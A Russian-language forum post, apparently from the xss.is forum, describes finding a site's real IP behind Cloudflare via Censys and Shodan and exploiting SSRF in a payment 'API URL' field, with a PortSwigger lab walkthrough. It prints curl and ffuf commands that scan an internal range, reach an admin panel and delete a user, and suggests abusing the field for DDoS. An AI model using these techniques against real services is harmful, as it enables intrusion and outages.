Дневник белой шляпы [Часть 1]: не DDoS

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Прочтите это, прежде чем читать дальше :)

Мне нравится говорить о случаях, которые я видел, а не о голых атаках. Я буду держать все как можно более анонимным, чтобы избежать проблем с конфиденциальностью. Контент, написанный здесь, основан исключительно на моем собственном опыте, я постараюсь максимально все смоделировать с помощью «лабораторий». Перед прочтением уясните, что это не статья о русской литературе и я не преподаватель, возможны грамматические ошибки. Все, что я могу гарантировать, это то, что они не будут «мешать» вам. Также, то, что я пишу о кофе, может быть, может не быть или может быть шуткой.

Уровень: Легкий (должен быть понятен всем, кто знает, что такое localhost, прикасался к linux и открывал chrome)
Тема: не DDoS
Стиль: Своеобразный

Теоретическая часть и кейс

Как обычно, я сидел в кафе и думал о своем завтрашнем дне. Это были мои последние деньги на чашку кофе, и я должен был что-то сделать. Я не черно-серая шляпа, я просто самостоятельный исследователь. Пока я просматривал интернет, я увидел сервис, сообщающий, что они были недоступны из-за DDoS-атаки и что их сервисы будут продолжать работать по-прежнему. Это была небольшая компания, но все их услуги были онлайн.

Часть 1: Домен
Я решил проверить их домен. Для проверки домена я всегда использую "https://check-host[точка]net". Они использовали cloudflare, как и ожидалось.

Что ж, большинство людей неправильно настраивают cloudflare.
Как они это делают:
1. Они покупают домен.
2. Они добавляют свой IP-адрес в качестве записи и ждут 48 часов
3. Они регистрируются в cloudflare
4. Они добавляют cloudflare NS и ждут еще 48 часов

Ну, пока они это делают, такие движки, как "censys" и "shodan", уже проверяют их домен в течение первых 48 часов, лол.

Как это должно быть сделано:
1. Вы должны купить сервер и оставить его пустым
2. Вам следует купить домен
3. Вам следует зарегистрироваться в cloudflare
4. Вы должны добавить NS cloudflare в домен
5. Вы должны добавить IP-адрес вашего сервера через cloudflare

Вы можете спросить меня: "О чем, черт возьми, он говорит? Зачем оставлять сервер пустым?". Что ж, ребята, censys и shodan непрерывно сканируют IP-адреса, поэтому, если вы добавите содержимое своего веб-сайта на сервер и запустите свой веб-сервис (например, apache), они просканируют его, и будет не так сложно найти реальный IP, даже если у вас нет подключенного домена ни к одному IP-адресу.

Поэтому я поискал их домен и поддомены через "censys" и получил реальный IP. Я сообщил им об этом, и после этого у них не возникло проблем. Они заплатили некоторую премию, которой было достаточно до тех пор, пока я не получу свою зарплату. После этого они правильно настроили cloudflare.

- И это все? Он хвастался, что он не учитель литературы, чтобы объяснить простой случай?
Нажмите, чтобы раскрыть...

Короткий ответ? Нет
Длинный ответ? Любое дело важно, и наслаждайтесь чтением дальше

Часть 2: Логика? Нет, инстинкты!
Вы можете рассмеяться: "Что случилось на этот раз?Опять нет денег на кофе?". Ну, все, что я ем и пью, - это кофе.

Допустим, сервис, который я тестирую, - это "service[точка]local" и давайте предположим, что мой собственный домен - это "xss[точка]is"
Прежде чем объяснять уязвимости, вы должны разобраться в работе сервиса. Все приведенное - всего лишь пример.

Платеж

Как и любая платформа, платформа, которую я проверил, также должна принимать платежи. И они позволили клиентам добавлять свои собственные способы оплаты. Очевидно, что после добавления способа оплаты вы должны проверить, работает он или нет.

Как это работает
1. Пользователь добавляет URL-адрес API, на который будет отправлен запрос с параметрами.

Допустим, URL API таков: api.xss[точка]is
Сумма: amount
Способ оплаты: type
Валюта: cur
Токен: tok - MD5(xss) = 2c71e977eccffb1cfb7c6cc22e0e7595

http://api.xss[точка]is/payment?amount=5&type=crypto&cur=usd&tok=2c71e977eccffb1cfb7c6cc22e0e7595

2. После совершения/отклонения платежа сервер получает ответ об успешном завершении/сбое от платежного шлюза. Запрос, отправленный на сервер, должен содержать новый токен, который является старым токеном md5 + success + timestamp. Другим будет трудно понять используемый алгоритм хеширования. Также учтите, что это всего лишь пример.

Токен: tok - MD5(xsssuccess1357030861) = c2bd3c6c17f8fee5a2a0b5e1bdddef07
TS: Morbid зашифрован ключом "XSSXSSXSS", а зашифрованное сообщение - это временная метка.

Изображение [1]: Демонстрирует шифрование Morbid


Изображение [1]: Демонстрирует шифрование Morbid

Код: Скопировать в буфер обмена
Код:
POST /payment HTTP/1.1
Host: [ICODE]service[точка]local[/ICODE]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [ICODE]http://service[точка]local/client/invoices.php[/ICODE]
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
TS: 134714772372334714334382872134
Origin: [ICODE]http://service[точка]local[/ICODE]
Connection: close
Upgrade-Insecure-Requests: 1

tok=c2bd3c6c17f8fee5a2a0b5e1bdddef07&made=withLove

3. Сервер получает ответ и добавляет баланс.

Продукты

На веб-сайте есть функция, которая позволяет пользователям добавлять продукты из своего API. Допустим, пользователи продают онлайн-товары, которые имеют срок годности.
Каждый раз, когда клиент хочет купить товар, это происходит:

1. Запрос, отправленный в API, содержащий "код товара" и "количество"
Допустим, что продукт "A" имеет специальный код "732ab7db598c8e62f99e3779e928940dfbb8ab1510d80adc4e12010281de9f0b", и количество может быть любым числом, скажем, "2".

http://api.xss[точка]is/product?amount=5&code=732ab7db598c8e62f99e3779e928940dfbb8ab1510d80adc4e12010281de9f0b

2. Ответ от API, который содержит продукт(ы).

Практическая часть о кейсе + лабы

Часть 3: Взлом? Черт возьми, нет

Получение реального IP-адреса за cloudflare (или любой другой легкий/средний WAF)


Мне стыдно за то, что я пишу это.
1. Проверьте, использует ли веб-сайт cloudflare или нет - https://check-host[точка]net
2. Попробуйте найти реальный IP-адрес с помощью "https://search.censys[точка]io" и "https://www.shodan[точка]io"

Подделка запроса на стороне сервера (Server-Side Request Forgery)

У меня нет домена. Все, что у меня есть, - это терминал и чашка кофе. Итак, я установил "interact". "Interact" позволяет нам получать трафик через HTTP и DNS. Вы можете установить его отсюда "https://github[точка]com/projectdiscovery/interactsh ". Я предпочитаю использовать часть "релизы" для упрощения установки "https://github[точка]com/projectdiscovery/interactsh/releases".

Пример установки для Linux:
1. wget https://github[точка]com/projectdiscovery/interactsh/releases/download/v1.1.5/interactsh-client_1.1.5_linux_amd64.zip
2. unzip interactsh-client_1.1.5_linux_amd64.zip
3. sudo cp interactsh-client_1.1.5_linux_amd64.zip /usr/bin/interactsh-client_1.1.5_linux_amd64.zip

Я проверил платежную часть веб-сайта. У меня есть возможность добавить "URL API".

Сначала мы должны запустить наш interactsh-client. После этого нам нужно добавить домен, указанный interractsh, и мы увидим входящие DNS-запросы и IP-адрес. Я проверил IP-адрес, и это был IP-адрес сервиса.

Изображение [2]: Bзаимодействия InteractSH


Изображение [2]: Bзаимодействия "InteractSH"​


Я решил отправить образец запроса в сервис, чтобы проверить, работает ли "оплата"

Изображение [3]: Bзаимодействия InteractSH


Изображение [3]: Bзаимодействия "InteractSH"​

3десь возникают 2 потенциальные проблемы с DDoS-атаками. Во-первых, у меня есть IP-адрес за брандмауэром, во-вторых, мой сервер может содержать файл объемом 1 ГБ. Я просто могу использовать "https://speed.hetzner[точка]de/1GBbin#" в качестве URL-адреса API, и это будет работать, потому что # рассматривается как "именованный якорь".

"Так какое это имеет отношение к SSRF?"
Сначала мы должны понять, что такое SSRF. Я не собираюсь тратить свою энергию на то, чтобы писать об этом, поскольку уже есть готовая статья https://habr[точка]com/ru/companies/solarsecurity/articles/590673/

Я использовал "127.0.0.1" в качестве URL-адреса API. Я не получил ответа, затем я использовал "localhost" и получил ошибку, содержащую заголовки. Итак, я использовал "ffuf" для грубой силы на всех 65535 портах и получил открытые.

Изображение [4]: Отправка запроса с URL-адресом localhost


Изображение [4]: Отправка запроса с URL-адресом "localhost"

Изображение [4]: Отправка запроса с URL-адресом localhost:0


Изображение [5]: Отправка запроса с URL-адресом "localhost:0"

Изображение [6]: Проверка всех портов с помощью ffuf


Изображение [6]: Проверка всех портов с помощью "ffuf"​


Я не могу предоставить "точно" такой же случай, но я знаю лабораторию, в которой есть очень похожий случай!

Если вы хотите практически проверить это дело, просто зарегистрируйтесь по адресу portswigger[точка]net и проверьте запуск лаборатории
https://portswigger[точка]net/web-security/ssrf/lab-basic-ssrf-against-backend-system

Решение лабораторной задачи:

Очевидно, что мы можем использовать "BurpSuite" intruder, который работает слишком медленно, если у вас нет "Professional Edition". Или мы можем просто использовать "ffuf".

Самый простой способ установить приложения "Go" в github - это через раздел "releases". Пример установки в Linux:
1. wget https://github[точка]com/ffuf/ffuf/releases/download/v2.0.0/ffuf_2.0.0_linux_amd64.tar.gz
2. tar xvzf ffuf_2.0.0_linux_amd64.tar.gz
3. sudo cp ffuf /usr/bin/ffuf

Мы можем использовать burpsuite или firefox для решения этой лабораторной работы, мне лень открывать burpsuite, так что "Heil Firefox!"

Изображение [7]: Heil Firefox!


Изображение [7]: "Heil Firefox!"​

Теперь мы можем приступить к работе в лаборатории. После запуска лаборатории мы увидим список продуктов.

Изображение [8]: Главная страница лаборатории


Изображение [8]: Главная страница лаборатории
Когда мы нажимаем на "View Details" о любом товаре и переходим в конец страницы, мы видим кнопку "Check stock".

Изображение [9]: Не главная страница лаборатории


Изображение [9]: Не главная страница лаборатории
Теперь мы должны нажать на клавишу F12 и открыть "Сеть". Затем мы можем нажать на кнопку и увидеть отправленный запрос "POST".Этот запрос содержит параметр "stockApi", который имеет значение некоторого полного URL-адреса.

Изображение [10]: Запрос, отправленный с параметром stockAPI


Изображение [10]: Запрос, отправленный с параметром "stockAPI"
Мы должны скопировать и проверить запрос с помощью "cURL"

Изображение [11]: Копирование запроса cURL с помощью firefox


Изображение [11]: Копирование запроса cURL с помощью firefox


Изображение [12]: Отправка запроса cURL для проверки


Изображение [12]: Отправка запроса cURL для проверки​
"Чтобы решить лабораторную задачу, используйте функцию проверки запасов для сканирования внутреннего диапазона 192.168.0.X в поисках интерфейса администратора на порту 8080, затем используйте ее для удаления пользователя carlos."

Наш запрос cURL.(Я расшифровал полезную нагрузку (payload)) - https://www.urldecoder[точка]org

curl 'https://XXXXXXXXXXXXXXXX.web-security-academy[точка]net/product/stock' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://XXXXXXXXXXXXXXXX.web-security-academy[точка]net/product?productId=2' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://XXXXXXXXXXXXXXXX.web-security-academy[точка]net' -H 'Connection: keep-alive' -H 'Cookie: session=YYYYYYYYYYYYYYYYYYY' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: trailers' --data-raw 'stockApi=http://192.168.0.1:8080/product/stock/check?productId=2&storeId=1'

Мы должны выполнить перебор "192.168.0.x" и проверить значения от 0 до 255. Для этого мы можем создать файл, содержащий номера от 0 до 255. Вы можете спросить, ChatGPT для этого или если вы используете Linux, вы можете использовать "seq 0 255 > num.txt "

Я использовал те же заголовки, что и в нашем запросе cURL. Я добавил "-mc 200" в конце, чтобы он показывал мне только код состояния "200", чтобы я мог получить правильный IP.

ffuf -u 'https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net/product/stock' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net/product?productId=2' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net' -H 'Connection: keep-alive' -H 'Cookie: session=YYYYYYYYYYYYYYYYYYY' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -X "POST" -d 'stockApi=http://192.168.0.fuzz:8080/admin' -w num.txt -mc 200

Изображение [13]: FFUF


Изображение [13]: FFUF​

Теперь мы знаем IP-адрес и можем отправить запрос, чтобы проверить ответ. Мы можем сделать это с помощью cURL

curl 'https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net/product/stock' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net/product?productId=2' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net' -H 'Connection: keep-alive' -H 'Cookie: session=YYYYYYYYYYYYYYYYYYY' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: trailers' --data-raw 'stockApi=http://192.168.0.57:8080/admin'

Изображение [14]: Результат, показывающий исходный код панели администратора


Изображение [14]: Результат, показывающий исходный код панели администратора
Все, что нам сейчас нужно сделать, это отправить запрос с помощью cURL, и наша лаборатория будет решена.

curl 'https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net/product/stock' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net/product?productId=2' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://xxxxxxxxxxxxxxxx.web-security-academy[точка]net' -H 'Connection: keep-alive' -H 'Cookie: session=YYYYYYYYYYYYYYYYYYY' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: trailers' --data-raw 'stockApi=http://192.168.0.57:8080/admin/delete?username=carlos'

Изображение [15]: Отправка запроса с данными из ответа cURL на изображении 14


Изображение [15]: Отправка запроса с данными из ответа cURL на изображении 14


Изображение [16]: Изображение, доказывающее, что мы решили лабораторию


Изображение [16]: Изображение, доказывающее, что мы решили лабораторию​

Не имеет значения, касается ли дело товара или оплаты. В обоих случаях мы можем использовать систему для DDoS-атак, либо вставляя домены, содержащие огромные файлы, либо получая IP-адрес за брандмауэром

"Ну и что? Никакого программирования? Где находится код автора?"

Я не кодирую, это делает ChatGPT. Все, что я делаю, - это исправляю код с помощью Google. В нашем случае это необходимо проверить вручную, так как случаи могут быть разными. Вы можете найти несколько инструментов для SSRF на Github, но все же я предпочитаю находить и проверять уязвимость вручную.

1692053791383.png



Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу